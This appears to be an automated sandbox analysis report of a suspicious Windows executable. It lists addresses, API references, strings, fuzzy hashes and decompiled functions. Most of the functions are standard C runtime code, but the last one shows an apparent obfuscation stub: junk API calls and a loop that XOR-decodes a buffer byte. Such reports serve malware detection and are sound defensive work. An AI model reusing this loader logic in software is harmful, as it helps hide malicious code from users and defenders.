0x00b96a2e
0x00b96a31
0x00b96a36
0x00b96a3b
0x00b96a3e
0x00b96a41
0x00b96a41
0x00b96a44
0x00b96a44
0x00b96a47
0x00b96a53
0x00000000
0x00b96a53
0x00b968f7
0x00b968f7
0x00b968fe
0x00b96901
0x00000000
0x00000000
0x00b96903
0x00b96903
0x00000000
0x00b96903
0x00b968e8
0x00b968e8
0x00000000
0x00000000
0x00b96548
0x00b96548
0x00b96553
0x00b9655b
0x00b96562
0x00b96565
0x00b96565
0x00b96568
0x00b965c8
0x00b9656a
0x00b96571
0x00b96577
0x00b9657d
0x00b96584
0x00b96587
0x00b9658d
0x00b96595
0x00b96597
0x00b9659e
0x00b965a5
0x00b965ac
0x00b965b4
0x00b965b6
0x00b965b8
0x00b965b8
0x00b965bf
0x00b965cf
0x00b965d5
0x00b965d8
0x00b96d70
0x00b96d70
0x00b96d74
0x00000000
0x00000000
0x00000000
0x00b96d74
0x00000000
0x00000000
0x00b96a5b
0x00b96a5e
0x00b96a61
0x00b96a64
0x00000000
0x00000000
0x00b967ba
0x00b967ba
0x00b967c6
0x00b967cc
0x00b967d1
0x00b967d3
0x00b9687d
0x00b9687d
0x00b96880
0x00b96880
0x00b96883
0x00b96897
0x00b9689d
0x00b968a3
0x00b96885
0x00b96885
0x00b9688b
0x00b96892
0x00b96892
0x00b968a5
0x00b96d70
0x00b96d70
0x00b96d74
0x00000000
0x00000000
0x00000000
0x00b96d74
0x00b96d70
0x00b967d9
0x00b967d9
0x00b967d9
0x00b967db
0x00b967e9
0x00b967dd
0x00b967dd
0x00b967dd
0x00b967f3
0x00b967f9
0x00b967ff
0x00b96806
0x00b96808
0x00b9680d
0x00b9680f
0x00b96814
0x00b96819
0x00b9681b
0x00b96820
0x00b96823
0x00b96826
0x00b96828
0x00b96828
0x00b96826
0x00b96829
0x00b96830
0x00b96878
0x00b96d70
0x00b96d70
0x00b96d74
0x00000000
0x00000000
0x00000000
0x00b96d74
0x00b96832
0x00b96832
0x00b96837
0x00b96853
0x00b9685b
0x00b96865
0x00b96868
0x00b9686d
0x00000000
0x00b9686d
0x00000000
0x00b96ac4
0x00b96ac4
0x00b96ace
0x00b96ace
0x00b96ad4
0x00b96ad6
0x00b96ad9
0x00b96ad9
0x00b96adf
0x00b96adf
0x00000000
0x00000000
0x00b96a76
0x00b96a76
0x00000000
0x00000000
0x00b9668d
0x00b9668d
0x00b96691
0x00b9669f
0x00b966a2
0x00b96693
0x00b96693
0x00b96693
0x00b966a8
0x00b966ae
0x00b966b4
0x00b966c0
0x00b966c6
0x00b966c6
0x00b966c9
0x00b96751
0x00b96751
0x00b96755
0x00b96757
0x00b9675d
0x00b9675d
0x00b96760
0x00b96767
0x00b9676a
0x00b96770
0x00b96770
0x00b96770
0x00b96776
0x00b9677c
0x00b9677f
0x00b96785
0x00b96787
0x00000000
0x00000000
0x00b96789
0x00b96789
0x00b9678f
0x00b96792
0x00b96794
0x00000000
0x00000000
0x00b96796
0x00b9679c
0x00b9679f
0x00b9679f
0x00b967a7
0x00b967a7
0x00b967ad
0x00b967ad
0x00b967b2
0x00000000
0x00b966cf
0x00b966cf
0x00b966cf
0x00b966d3
0x00b966d5
0x00b966da
0x00b966da
0x00b966dd
0x00b966e0
0x00b966e6
0x00b966f8
0x00b966f8
0x00b966f8
0x00b966fb
0x00b96701
0x00000000
0x00000000
0x00b96703
0x00b96703
0x00b96709
0x00b9670c
0x00b9670e
0x00000000
0x00000000
0x00b96710
0x00b96710
0x00b96719
0x00b9671f
0x00b96723
0x00b9672b
0x00b9672d
0x00b9672f
0x00b96735
0x00b96735
0x00b96738
0x00b96738
0x00b96744
0x00b96747
0x00b966ef
0x00b966f2
0x00b966f2
0x00b966f5
0x00b966f5
0x00b9674f
0x00b967b5
0x00b96d70
0x00b96d70
0x00b96d74
0x00000000
0x00000000
0x00000000
0x00b96d74
0x00b96d70
0x00000000
0x00b96a6d
0x00b96a6d
0x00000000
0x00000000
0x00b96a89
0x00b96a89
0x00b96a93
0x00b96a93
0x00b96a9d
0x00b96a9d
0x00b96aa3
0x00b96aa5
0x00b96aaa
0x00b96ab4
0x00b96ab4
0x00b96ab7
0x00b96abb
0x00b96abb
0x00b96ae2
0x00b96ae5
0x00b96ae5
0x00b96aea
0x00b96b0c
0x00b96b0c
0x00b96b12
0x00b96b34
0x00b96b34
0x00b96b37
0x00b96b7e
0x00b96b7e
0x00b96b81
0x00b96b9e
0x00b96ba2
0x00b96baa
0x00b96baa
0x00b96bac
0x00b96bb2
0x00b96b83
0x00b96b83
0x00b96b87
0x00b96b8f
0x00b96b90
0x00b96b96
0x00b96b96
0x00b96b39
0x00b96b3c
0x00b96b3c
0x00b96b3f
0x00b96b5d
0x00b96b69
0x00b96b6c
0x00b96b6d
0x00b96b73
0x00b96b41
0x00b96b41
0x00b96b45
0x00b96b4d
0x00b96b4e
0x00b96b4f
0x00b96b55
0x00b96b55
0x00b96b79
0x00b96b14
0x00b96b14
0x00b96b20
0x00b96b26
0x00b96b26
0x00b96aec
0x00b96aec
0x00b96af8
0x00b96afe
0x00b96afe
0x00b96bbb
0x00b96bbb
0x00b96bbe
0x00b96c00
0x00b96c00
0x00b96c06
0x00b96c0c
0x00b96c12
0x00000000
0x00b96bc0
0x00b96bc0
0x00b96bc0
0x00b96bc7
0x00000000
0x00000000
0x00b96bc9
0x00b96bc9
0x00b96bd4
0x00b96bda
0x00b96bdc
0x00b96be2
0x00b96be5
0x00b96be7
0x00b96bed
0x00b96bf6
0x00b96bfb
0x00b96c18
0x00b96c1b
0x00b96c1b
0x00b96c20
0x00b96c25
0x00b96c25
0x00b96c2b
0x00b96c2d
0x00b96c33
0x00b96c39
0x00b96c39
0x00b96c42
0x00b96c42
0x00b96c2b
0x00b96c48
0x00b96c4c
0x00b96c5a
0x00b96c5d
0x00b96c60
0x00b96c67
0x00b96c69
0x00b96c69
0x00b96c4e
0x00b96c4e
0x00b96c4e
0x00b96c76
0x00b96c76
0x00b96c7c
0x00b96c7e
0x00b96c7e
0x00b96c85
0x00b96c8b
0x00b96c8e
0x00b96c8e
0x00b96c8e
0x00b96c94
0x00b96c97
0x00b96c9a
0x00b96c9c
0x00000000
0x00000000
0x00b96c9e
0x00b96ca4
0x00b96ca4
0x00b96caa
0x00000000
0x00000000
0x00b96cac
0x00b96cac
0x00b96caf
0x00b96cb2
0x00b96cb9
0x00b96cc0
0x00b96cc8
0x00b96cce
0x00b96cd1
0x00b96cd4
0x00b96cdb
0x00b96ce7
0x00b96ced
0x00b96cf3
0x00b96cfa
0x00b96cfc
0x00b96d02
0x00b96d02
0x00b96d08
0x00b96d08
0x00b96d0e
0x00b96d17
0x00b96d1c
0x00b96d1f
0x00b96c8e
0x00b96c8e
0x00b96c94
0x00b96c97
0x00b96c9a
0x00b96c9c
0x00000000
0x00000000
0x00000000
0x00b96c9c
0x00b96c8e
0x00b96bcb
0x00b96bcb
0x00b96bd2
0x00000000
0x00000000
0x00000000
0x00b96bd2
0x00000000
0x00b96d70
0x00b96d70
0x00b96d74
0x00000000
0x00000000
0x00000000
0x00b96d74
0x00000000
0x00000000
0x00b962f9
0x00b962f9
0x00b962fc
0x00b962ff
0x00000000
0x00000000
0x00b96304
0x00b96307
0x00b9630d
0x00000000
0x00000000
0x00b962ee
0x00b962f1
0x00b962f4
0x00000000
0x00000000
0x00b962e3
0x00b962e6
0x00b962e9
0x00000000
0x00000000
0x00b96312
0x00b96312
0x00b96315
0x00b96315
0x00b96318
0x00000000
0x00000000
0x00b9631b
0x00000000
0x00000000
0x00b9618b
0x00b9618b
0x00b9618d
0x00b9619b
0x00b9618f
0x00b9618f
0x00b9618f
0x00b961ab
0x00b961b8
0x00b961ba
0x00b961bf
0x00b961c1
0x00b961c6
0x00b961cb
0x00b961cd
0x00b961d2
0x00b961d8
0x00b961da
0x00b961da
0x00b961d8
0x00b961db
0x00b961e2
0x00000000
0x00b961e4
0x00b961e9
0x00b96205
0x00b9620d
0x00b9621a
0x00b9621f
0x00b97034
0x00b97041
0x00b97041
0x00b961e2
0x00b96185
0x00b96f70
0x00b96f77
0x00b96f8e
0x00b96f8e
0x00b96f98
0x00b96f98
0x00b96f9e
0x00b96fab
0x00b96fad
0x00b96fb2
0x00b96fb4
0x00b96fb9
0x00b96fbe
0x00b96fc0
0x00b96fc5
0x00b96fcb
0x00b96fcd
0x00b96fcd
0x00b96fcb
0x00b96fd5
0x00b97020
0x00b97029
0x00b9702e
0x00b96fd7
0x00b96fdc
0x00b96ff8
0x00b97000
0x00b9700d
0x00b97012
0x00b97012
0x00000000
0x00b96fd5
0x00b96f79
0x00b96f80
0x00000000
0x00000000
0x00b96f82
0x00b96f82
0x00000000
0x00b96f82
0x00b96d70
0x00b9660b
0x00b9660b
0x00b96611
0x00b96618
0x00b9661d
0x00b96620
0x00000000
0x00b96620

APIs

_get_int_arg.LIBCMTD ref: 00B965E8
_strlen.LIBCMT ref: 00B96618
_write_multi_char.LIBCMTD ref: 00B96DFB
_write_string.LIBCMTD ref: 00B96E16
_write_multi_char.LIBCMTD ref: 00B96E42
__mbtowc_l.LIBCMTD ref: 00B96EB1

Strings

f:\dd\vctools\crt_bld\self_x86\crt\src\output.c, xrefs: 00B961C6, 00B961F6
("Incorrect format specifier", 0), xrefs: 00B961BA, 00B96200
_woutput_s_l, xrefs: 00B961FB

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: _write_multi_char$__mbtowc_l_get_int_arg_strlen_write_string
String ID: ("Incorrect format specifier", 0)$_woutput_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\output.c
API String ID: 909868375-2264504294
Opcode ID: 28e21e9471f4247e5f4fd21f5447fdf9e0cf180c4fd90b00ee9a050b90d97f4a
Instruction ID: 5b3b6731c67077713b82049f6d36e7c6ad2302c8c801bec61b6a3023ec6700df
Opcode Fuzzy Hash: 28e21e9471f4247e5f4fd21f5447fdf9e0cf180c4fd90b00ee9a050b90d97f4a
Instruction Fuzzy Hash: 7EA15AB1D002289BDF24DF54CD81BADB7F5EB48304F1481E9E619AB292D7349E84CF55

Uniqueness

Uniqueness Score: -1.00%

Function 00B86E51 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 69fileCOMMON

Download Yara Rule

APIs

__set_error_mode.LIBCMTD ref: 00B86EB8
__set_error_mode.LIBCMTD ref: 00B86EC7
GetStdHandle.KERNEL32(000000F4), ref: 00B86EDE
_strlen.LIBCMT ref: 00B86F04
WriteFile.KERNEL32(000000FF,00000000,00000000,00000000), ref: 00B86F1C

Strings

jjj, xrefs: 00B86EA0
#0, xrefs: 00B86EA8
t/j, xrefs: 00B86EF1

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: __set_error_mode$FileHandleWrite_strlen
String ID: jjj$t/j$#0
API String ID: 1121076223-2314305889
Opcode ID: abe182dc8b082c1b3132dbfd5efdf0ae8dac2d3ba853317cf9eeb558eb30f2e3
Instruction ID: 20eb8a819a8dcda827284ba38d62bfeda617294c3bc3e90aabdb13caa2eaf0fb
Opcode Fuzzy Hash: abe182dc8b082c1b3132dbfd5efdf0ae8dac2d3ba853317cf9eeb558eb30f2e3
Instruction Fuzzy Hash: 2721C278940209FBDF24EF48E985BACB3F5EB14301F248194E609A62B1D7319E50DF91

Uniqueness

Uniqueness Score: -1.00%

Function 00B7F42E Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 179COMMON

Download Yara Rule

APIs

_CheckBytes.LIBCMTD ref: 00B7F4AB
_CheckBytes.LIBCMTD ref: 00B7F549
_CheckBytes.LIBCMTD ref: 00B7F5F2

Strings

HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d)., xrefs: 00B7F4E0
%hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d)., xrefs: 00B7F691
HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d)., xrefs: 00B7F57E
HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d)., xrefs: 00B7F61C

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: BytesCheck
String ID: %hs located at 0x%p is %Iu bytes long.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: after %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory after end of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: before %hs block (#%d) at 0x%p.CRT detected that the application wrote to memory before start of heap buffer.Memory allocated at %hs(%d).$HEAP CORRUPTION DETECTED: on top of Free block at 0x%p.CRT detected that the application wrote to a heap buffer that was freed.Memory allocated at %hs(%d).
API String ID: 1653226792-1867057952
Opcode ID: a6f82258ab7a76f5efb458ce53437b47ed8a4b0df60931e633b60b85bee1fc74
Instruction ID: ff702aef10accc76920b7929527006b063333fdef9037b434821482a4707152e
Opcode Fuzzy Hash: a6f82258ab7a76f5efb458ce53437b47ed8a4b0df60931e633b60b85bee1fc74
Instruction Fuzzy Hash: 04612FB5E002069FDB18CF88C895FBEB3F5EB58704F24C158E5296B391D274E842CB68

Uniqueness

Uniqueness Score: -1.00%

Function 00B92DB4 Relevance: 12.4, APIs: 3, Strings: 4, Instructions: 115
COMMON

Download Yara Rule

C-Code - Quality: 59%

			E00B92DB4(signed int __eax) {
				intOrPtr _t45;
				void* _t50;
				signed int _t54;
				void* _t60;
				signed int _t67;
				signed int _t69;
				signed int _t71;
				signed int _t73;
				signed int _t79;
				void* _t80;
				void* _t81;
				void* _t82;
				void* _t84;
				void* _t85;
				void* _t94;

				_t85 = _t84 + 0x10;
				 *(_t82 - 0xc) = __eax;
				if( *(_t82 - 0xc) != 0xffffffff) {
					_t71 =  *(_t82 - 0xc) + 1;
					 *(_t82 - 0xc) = _t71;
					__eflags =  *(_t82 + 0xc);
					if( *(_t82 + 0xc) == 0) {
						L27:
						__eflags =  *(_t82 + 8);
						if( *(_t82 + 8) != 0) {
							 *( *(_t82 + 8)) =  *(_t82 - 0xc);
						}
						_t45 =  *((intOrPtr*)(_t82 - 4));
						L30:
						return _t45;
					}
					__eflags =  *(_t82 - 0xc) -  *(_t82 + 0x10);
					if( *(_t82 - 0xc) <=  *(_t82 + 0x10)) {
						L26:
						_t73 =  *(_t82 + 0xc) +  *(_t82 - 0xc);
						__eflags = _t73;
						 *((char*)(_t73 - 1)) = 0;
						goto L27;
					}
					__eflags =  *((intOrPtr*)(_t82 + 0x18)) - 0xffffffff;
					if( *((intOrPtr*)(_t82 + 0x18)) == 0xffffffff) {
						L25:
						 *(_t82 - 0xc) =  *(_t82 + 0x10);
						 *((intOrPtr*)(_t82 - 4)) = 0x50;
						goto L26;
					}
					 *( *(_t82 + 0xc)) = 0;
					__eflags =  *(_t82 + 0x10) - 0xffffffff;
					if( *(_t82 + 0x10) != 0xffffffff) {
						__eflags =  *(_t82 + 0x10) - 0x7fffffff;
						if( *(_t82 + 0x10) != 0x7fffffff) {
							__eflags =  *(_t82 + 0x10) - 1;
							if( *(_t82 + 0x10) > 1) {
								__eflags =  *0xd11328 -  *(_t82 + 0x10) - 1; // 0xffffffff
								if(__eflags >= 0) {
									_t67 =  *(_t82 + 0x10) - 1;
									__eflags = _t67;
									 *(_t82 - 0x2c) = _t67;
								} else {
									_t54 =  *0xd11328; // 0xffffffff
									 *(_t82 - 0x2c) = _t54;
								}
								_t71 =  *(_t82 - 0x2c);
								_t52 =  *(_t82 + 0xc) + 1;
								__eflags =  *(_t82 + 0xc) + 1;
								E00B81BB0(_t80, _t52, 0xfe, _t71);
								_t85 = _t85 + 0xc;
							}
						}
					}
					_t65 =  *(_t82 + 0x10);
					__eflags =  *(_t82 - 0xc) -  *(_t82 + 0x10);
					asm("sbb edx, edx");
					 *(_t82 - 0x18) =  ~_t71;
					if( *(_t82 - 0xc) ==  *(_t82 + 0x10)) {
						_push(L"sizeInBytes > retsize");
						_push(0);
						_push(0x157);
						_push(L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c");
						_push(2);
						_t50 = L00B7D760();
						_t85 = _t85 + 0x14;
						__eflags = _t50 - 1;
						if(_t50 == 1) {
							asm("int3");
						}
					}
					__eflags =  *(_t82 - 0x18);
					if( *(_t82 - 0x18) != 0) {
						goto L25;
					} else {
						 *((intOrPtr*)(L00B80C60(_t65))) = 0x22;
						E00B809F0(_t60, _t65, _t80, _t81, L"sizeInBytes > retsize", L"_wcstombs_s_l", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\wcstombs.c", 0x157, 0);
						_t45 = 0x22;
						goto L30;
					}
				}
				if( *(_t82 + 0xc) != 0) {
					 *( *(_t82 + 0xc)) = 0;
					if( *(_t82 + 0x10) != 0xffffffff &&  *(_t82 + 0x10) != 0x7fffffff &&  *(_t82 + 0x10) > 1) {
						_t94 =  *0xd11328 -  *(_t82 + 0x10) - 1; // 0xffffffff
						if(_t94 >= 0) {
							_t79 =  *(_t82 + 0x10) - 1;
							__eflags = _t79;
							 *(_t82 - 0x28) = _t79;
						} else {
							_t69 =  *0xd11328; // 0xffffffff
							 *(_t82 - 0x28) = _t69;
						}
						_t61 =  *(_t82 + 0xc) + 1;
						E00B81BB0(_t80,  *(_t82 + 0xc) + 1, 0xfe,  *(_t82 - 0x28));
					}
				}
				_t45 =  *((intOrPtr*)(L00B80C60(_t61)));
				goto L30;
			}

0x00b92db4
0x00b92db7
0x00b92dbe
0x00b92e2a
0x00b92e2d
0x00b92e30
0x00b92e34
0x00b92f21
0x00b92f21
0x00b92f25
0x00b92f2d
0x00b92f2d
0x00b92f2f
0x00b92f32
0x00b92f35
0x00b92f35
0x00b92e3d
0x00b92e40
0x00b92f17
0x00b92f1a
0x00b92f1a
0x00b92f1d
0x00000000
0x00b92f1d
0x00b92e46
0x00b92e4a
0x00b92f0a
0x00b92f0d
0x00b92f10
0x00000000
0x00b92f10
0x00b92e53
0x00b92e56
0x00b92e5a
0x00b92e5c
0x00b92e63
0x00b92e65
0x00b92e69
0x00b92e71
0x00b92e77
0x00b92e86
0x00b92e86
0x00b92e89
0x00b92e79
0x00b92e79
0x00b92e7e
0x00b92e7e
0x00b92e8c
0x00b92e98
0x00b92e98
0x00b92e9c
0x00b92ea1
0x00b92ea1
0x00b92e69
0x00b92e63
0x00b92ea4
0x00b92ea7
0x00b92eaa
0x00b92eae
0x00b92eb1
0x00b92eb3
0x00b92eb8
0x00b92eba
0x00b92ebf
0x00b92ec4
0x00b92ec6
0x00b92ecb
0x00b92ece
0x00b92ed1
0x00b92ed3
0x00b92ed3
0x00b92ed1
0x00b92ed4
0x00b92ed8
0x00000000
0x00b92eda
0x00b92edf
0x00b92efb
0x00b92f03
0x00000000
0x00b92f03
0x00b92ed8
0x00b92dc4
0x00b92dc9
0x00b92dd0
0x00b92de7
0x00b92ded
0x00b92dfd
0x00b92dfd
0x00b92e00
0x00b92def
0x00b92def
0x00b92df5
0x00b92df5
0x00b92e0f
0x00b92e13
0x00b92e18
0x00b92dd0
0x00b92e20
0x00000000

APIs

_memset.LIBCMT ref: 00B92E13
_memset.LIBCMT ref: 00B92E9C
__invalid_parameter.LIBCMTD ref: 00B92EFB

Strings

_wcstombs_s_l, xrefs: 00B92EF1
sizeInBytes > retsize, xrefs: 00B92EB3, 00B92EF6
P, xrefs: 00B92F10
f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c, xrefs: 00B92EBF, 00B92EEC

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: _memset$__invalid_parameter
String ID: P$_wcstombs_s_l$f:\dd\vctools\crt_bld\self_x86\crt\src\wcstombs.c$sizeInBytes > retsize
API String ID: 2178901135-56445615
Opcode ID: a6a6951f210e07f67de44c960a4ca58cee9d82da13f867fe0a0695829cfede42
Instruction ID: 49a3fbb3079899c1d8fc8ceefa0696536454ed9df184e651e21f14c475d82610
Opcode Fuzzy Hash: a6a6951f210e07f67de44c960a4ca58cee9d82da13f867fe0a0695829cfede42
Instruction Fuzzy Hash: 2C414630D00209EBCF28DF68C8857AE77F0EB45325F20C6A9F8396A291D7709995CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00B7FEC7 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 81
COMMON

Download Yara Rule

C-Code - Quality: 90%

			E00B7FEC7() {
				intOrPtr _t54;
				void* _t61;
				intOrPtr _t68;
				void* _t70;
				void* _t98;
				void* _t99;
				signed int _t100;
				void* _t102;
				void* _t105;

				L0:
				while(1) {
					L0:
					 *(_t100 - 4) =  *(_t100 - 4) + 1;
					if( *((intOrPtr*)( *((intOrPtr*)(_t100 + 0xc)) + 0x10)) >= 0x10) {
						 *((intOrPtr*)(_t100 - 0x6c)) = 0x10;
					} else {
						_t6 =  *((intOrPtr*)(_t100 + 0xc)) + 0x10; // 0x2
						 *((intOrPtr*)(_t100 - 0x6c)) =  *_t6;
					}
					if( *(_t100 - 4) >=  *((intOrPtr*)(_t100 - 0x6c))) {
						break;
					}
					L5:
					 *(_t100 - 0x61) =  *((intOrPtr*)( *((intOrPtr*)(_t100 + 0xc)) +  *(_t100 - 4) + 0x20));
					if(E00B7C680(_t100 - 0x60) == 0 ||  *((intOrPtr*)( *((intOrPtr*)(E00B7C680(_t100 - 0x60))) + 0xac)) <= 1) {
						_t54 = E00B8C610(E00B7C680(_t100 - 0x60),  *(_t100 - 0x61) & 0x000000ff, 0x157);
						_t105 = _t102 + 0xc;
						 *((intOrPtr*)(_t100 - 0x70)) = _t54;
					} else {
						_t68 = E00B8C6C0( *(_t100 - 0x61) & 0x000000ff, 0x157, E00B7C680(_t100 - 0x60));
						_t105 = _t102 + 0xc;
						 *((intOrPtr*)(_t100 - 0x70)) = _t68;
					}
					if( *((intOrPtr*)(_t100 - 0x70)) == 0) {
						 *(_t100 - 0x74) = 0x20;
					} else {
						 *(_t100 - 0x74) =  *(_t100 - 0x61) & 0x000000ff;
					}
					 *((char*)(_t100 +  *(_t100 - 4) - 0x50)) =  *(_t100 - 0x74);
					 *((intOrPtr*)(_t100 - 0x68)) =  *((intOrPtr*)(L00B80C60( *(_t100 - 0x74))));
					 *((intOrPtr*)(L00B80C60( *(_t100 - 0x74)))) = 0;
					_t84 = _t100 +  *(_t100 - 4) * 3 - 0x3c;
					_t61 = E00B8C5B0(_t100 +  *(_t100 - 4) * 3 - 0x3c, _t100 +  *(_t100 - 4) * 3 - 0x3c, 0x31 -  *(_t100 - 4) * 3, "%.2X ",  *(_t100 - 0x61) & 0x000000ff);
					_t102 = _t105 + 0x10;
					if(_t61 < 0) {
						E00B7DC00( *((intOrPtr*)(L00B80C60(_t84))), 0x16, 0x22, L"(*_errno())", L"_printMemBlockData", L"f:\\dd\\vctools\\crt_bld\\self_x86\\crt\\src\\dbgheap.c", 0x963, 0);
						_t102 = _t102 + 0x20;
					}
					 *((intOrPtr*)(L00B80C60(_t84))) =  *((intOrPtr*)(_t100 - 0x68));
				}
				L15:
				_t91 =  *(_t100 - 4);
				 *((char*)(_t100 +  *(_t100 - 4) - 0x50)) = 0;
				_push(_t100 - 0x3c);
				if(L00B89ED0(0, 0, 0, 0, " Data: <%s> %s\n", _t100 - 0x50) == 1) {
					asm("int3");
				}
				return E00B805D0(E00B7C650(_t100 - 0x60), _t70,  *(_t100 - 8) ^ _t100, _t91, _t98, _t99);
			}

0x00b7fec7
0x00b7fec7
0x00b7fec7
0x00b7fecd
0x00b7fed7
0x00b7fee4
0x00b7fed9
0x00b7fedc
0x00b7fedf
0x00b7fedf
0x00b7fef1
0x00000000
0x00000000
0x00b7fef7
0x00b7ff00
0x00b7ff0d
0x00b7ff55
0x00b7ff5a
0x00b7ff5d
0x00b7ff22
0x00b7ff35
0x00b7ff3a
0x00b7ff3d
0x00b7ff3d
0x00b7ff64
0x00b7ff6f
0x00b7ff66
0x00b7ff6a
0x00b7ff6a
0x00b7ff7c
0x00b7ff87
0x00b7ff8f
0x00b7ffb3
0x00b7ffb8
0x00b7ffbd
0x00b7ffc2
0x00b7ffe6
0x00b7ffeb
0x00b7ffeb
0x00b7fff6
0x00b7fff6
0x00b7fffd
0x00b7fffd
0x00b80000
0x00b80008
0x00b80025
0x00b80027
0x00b80027
0x00b8003d

APIs

__isctype_l.LIBCMTD ref: 00B7FF35
_swprintf_s.LIBCMTD ref: 00B7FFB8
__invoke_watson_if_oneof.LIBCMTD ref: 00B7FFE6

Strings

(*_errno()), xrefs: 00B7FFD5
_printMemBlockData, xrefs: 00B7FFD0
%.2X , xrefs: 00B7FF9A
f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c, xrefs: 00B7FFCB

Memory Dump Source

Source File: 00000000.00000002.638265274.0000000000B71000.00000020.00000001.01000000.00000003.sdmp, Offset: 00B70000, based on PE: true

Associated: 00000000.00000002.638237207.0000000000B70000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638841801.0000000000D11000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.638905915.0000000000D16000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_b70000_SecuriteInfo.jbxd

Similarity

API ID: __invoke_watson_if_oneof__isctype_l_swprintf_s
String ID: %.2X $(*_errno())$_printMemBlockData$f:\dd\vctools\crt_bld\self_x86\crt\src\dbgheap.c
API String ID: 4289034949-3158630120
Opcode ID: 8544851ad210d3750d61fb086007976f2218ad33485cb09c83d8a1cc5107de36
Instruction ID: 94309a65b287751b391181f586fbc45b1f2a3413625fdad8a2fc99bdf67bde03
Opcode Fuzzy Hash: 8544851ad210d3750d61fb086007976f2218ad33485cb09c83d8a1cc5107de36
Instruction Fuzzy Hash: 26319070905309DFDB04EFA4C991ABDBBF2EF55700F2085E8E4296F292DB309A05CB54

Uniqueness

Uniqueness Score: -1.00%

Function 00B78800 Relevance: 12.3, APIs: 6, Strings: 1, Instructions: 65
COMMON

Download Yara Rule

C-Code - Quality: 73%

			E00B78800(long _a4) {
				int _v8;
				struct _OSVERSIONINFOEXW* _v12;
				void* _v16;
				int _t16;
				void* _t17;
				void* _t29;

				_t16 =  *0xd12fe0; // 0x34a5040
				_v8 = _t16;
				_v12 = 0;
				while(_v12 < 0x1b82) {
					if( *0xd15000 == 0x5188) {
						_t29 =  *0xd12fe0; // 0x34a5040
						__imp__CreateFileTransactedW(L"shine!", 0x80000000, 0, 0, 0, 0, 0, 0, 0, _t29);
						_v16 = _t16;
						_t17 =  *0xd12fe0; // 0x34a5040
						CreateFiber(_a4, 0, _t17);
						_t16 = WaitCommEvent(_v16,  &_a4, 0);
						if(_t16 == 0) {
							ClearCommBreak(_v16);
							CloseHandle(0);
							_push(0);
							_t16 = VerifyVersionInfoW(0, 1, 0);
						}
					}
					if(_v12 == 0x19) {
						_t16 = _v8 + _a4;
						 *((char*)(_v8 + _a4)) =  *_t16 & 0x000000ff ^  *0xd12318 & 0x000000ff;
					}
					_v12 =  &(_v12->dwOSVersionInfoSize);
				}
				return _t16;
			}

0x00b78806
0x00b7880b
0x00b7880e
0x00b78820
0x00b78837
0x00b78839
0x00b78858
0x00b7885e
0x00b78861
0x00b7886d
0x00b7887d
0x00b78885
0x00b7888b
0x00b78893
0x00b78899
0x00b788a1
0x00b788a1
0x00b78885
0x00b788ab
0x00b788b7
0x00b788c5
0x00b788c5
0x00b7881d
0x00b7881d
0x00b788cf

APIs

CreateFileTransactedW.KERNEL32(shine!,80000000,00000000,00000000,00000000,00000000,00000000,00000000,00000000,034A5040), ref: 00B78858
CreateFiber.KERNEL32(00001B82,00000000,034A5040), ref: 00B7886D
